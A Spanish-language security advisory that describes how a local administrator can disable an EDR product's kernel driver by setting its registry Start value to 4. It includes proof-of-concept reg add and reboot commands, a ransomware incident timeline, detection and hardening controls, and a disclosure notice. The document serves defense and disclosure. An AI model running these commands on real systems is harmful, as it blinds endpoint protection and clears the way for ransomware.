DEFENSE EVASION · T1562.001

EDR Tamper Protection Bypass via Registry

Start Value Manipulation · Driver Disablement

SEVERITY	STATUS	TECHNIQUE
HIGH	REPORTED · FIX IN PROGRESS	T1562.001 / T1112

SECURITY RESEARCH

EDR Tamper Protection Bypass

via Registry Start Value Manipulation

SEVERITY	PRIVILEGES	STATUS	TECHNIQUE
HIGH	LOCAL ADMIN	REPORTED	T1562.001 / T1112

EXECUTIVE SUMMARY

Se identificó un **gap de cobertura en la tamper protection** de múltiples productos EDR. Mientras la autoprotección bloquea correctamente operaciones de desinstalación y solicita token de autenticación para dichas acciones, **no protege la llave de registro `Start` de los drivers críticos del producto**.

Un atacante con privilegios de administrador local puede modificar este valor directamente, programando la desactivación del driver en el siguiente reinicio — **sin que la tamper protection intervenga, sin alertas visibles, y sin requerir desinstalación del producto**.

Este hallazgo fue confirmado en múltiples incidentes de ransomware reales, en distintos sistemas operativos (Windows 10, Windows 11, Windows Server) y versiones del producto, sin configuración común entre los entornos afectados.

COBERTURA DE LA TAMPER PROTECTION

Operación	Bloqueada	Observación
Desinstalación del agente	✓ SÍ	Requiere token de autenticación
Terminación de procesos del EDR	✓ SÍ	PPL protege el proceso principal
`Start` del driver de kernel	✗ NO	Acceso directo sin bloqueo — este documento

CONTEXTO TÉCNICO

Valores del DWORD Start

Los drivers de protección en tiempo real se registran como servicios de Windows. El valor `Start` (REG_DWORD) controla cuándo y si el driver carga en el arranque:

Valor	Tipo	Comportamiento
0	Boot	Carga en fase de arranque temprano — antes del kernel completo
1	System	Carga durante inicialización del kernel — valor normal en EDRs
2	Automatic	Carga por el SCM al iniciar Windows
3	Manual	Solo bajo demanda explícita
4	Disabled	No carga nunca — objetivo del ataque

PRUEBA DE CONCEPTO

Flujo de Ataque

01 Verificar estado inicial

```
sc qc [EDR_DRIVER]
  START_TYPE : 1   SYSTEM_START
sc query [EDR_DRIVER]
  STATE : 4  RUNNING
```

02 Modificar Start a 4 (Disabled)

```
reg add "HKLM\SYSTEM\CurrentControlSet\Services\[EDR_DRIVER]"
    /v Start /t REG_DWORD /d 4 /f

  The operation completed successfully.
  # Tamper protection NO bloqueó esta operación.
```

03 Verificar escritura

```
reg query "HKLM\SYSTEM\CurrentControlSet\Services\[EDR_DRIVER]" /v Start

  Start    REG_DWORD    0x4
```

04 Reinicio del sistema

```
shutdown /r /t 0
```

05 Estado post-reboot

```
sc query [EDR_DRIVER]
```

```
STATE : 1  STOPPED
# Driver no cargó. Endpoint sin protección en tiempo real.
```

RESULTADO

	Antes	Después del reboot
Start DWORD	1 (System)	4 (Disabled)
Estado del driver	RUNNING	STOPPED
Tamper protection	Activa	Activa — no intervino
Protección real-time	✓	✗
Alertas generadas	—	Ninguna

INCIDENTES REALES

Timeline de Ataque Observado

Basado en análisis forense de múltiples incidentes de ransomware reales. El mismo patrón fue identificado en entornos sin configuración común, distintas versiones de SO y última versión del producto.

T+0	**Acceso Inicial** RDP con credenciales administrativas comprometidas
T+1h	**Reconocimiento** Enumeración de servicios y drivers del EDR activos
T+Nh	**Evasión de Defensas** Modificación de Start=4 en driver(s) del EDR
T+N+1	**Reinicio** Sistema reiniciado — driver no carga al arrancar
T+N+1	**EDR Ciego** Endpoint sin protección en tiempo real ni alertas
T+48h	**Ejecución del Ransomware** Cifrado masivo sin detección por el EDR local

CONTROLES COMPENSATORIOS

Mientras el vendor trabaja en el fix

01	**Control de Privilegios** Eliminar admin local del usuario estándar en workstations. Implementar Windows LAPS para rotación de passwords de admin local. Aplicar tiering de cuentas administrativas en servidores (Tier 0/1/2). Sin admin, el reg add no puede ejecutarse — se elimina la precondición del ataque.
02	**Detección vía SIEM** Habilitar SACL de auditoría sobre la llave Services\[EDR_DRIVER] para generar Event ID 4657 ante cualquier modificación del valor Start. Alertar sobre Event ID 7040 (cambio de start type). Correlacionar con heartbeat perdido del agente en consola del EDR. Reenvío fuera del host (WEF/syslog) es crítico — sin ello los logs se pierden al cifrar.

03	**Protección en Safe Mode** Forzar la carga del agente también en Safe Mode donde el producto lo permita por política. Elimina la vía de reinicio a Safe Mode como bypass complementario del vector.

MITRE ATT&CK;

ID	Técnica	Relevancia
T1562.001	Impair Defenses: Disable or Modify Tools	Core del ataque
T1112	Modify Registry	Mecanismo directo
T1543.003	Create or Modify System Process: Win Service	Objetivo modificado
T1070.001	Indicator Removal: Clear Windows Event Logs	Observado post-cifrado

Disclosure: Hallazgo identificado en análisis forense de incidentes de ransomware reales. Reportado responsablemente a los vendors afectados. Vendors confirmaron recepción — fix en desarrollo. Publicación coordinada pendiente de resolución.

Gitocode
Cybersecurity Research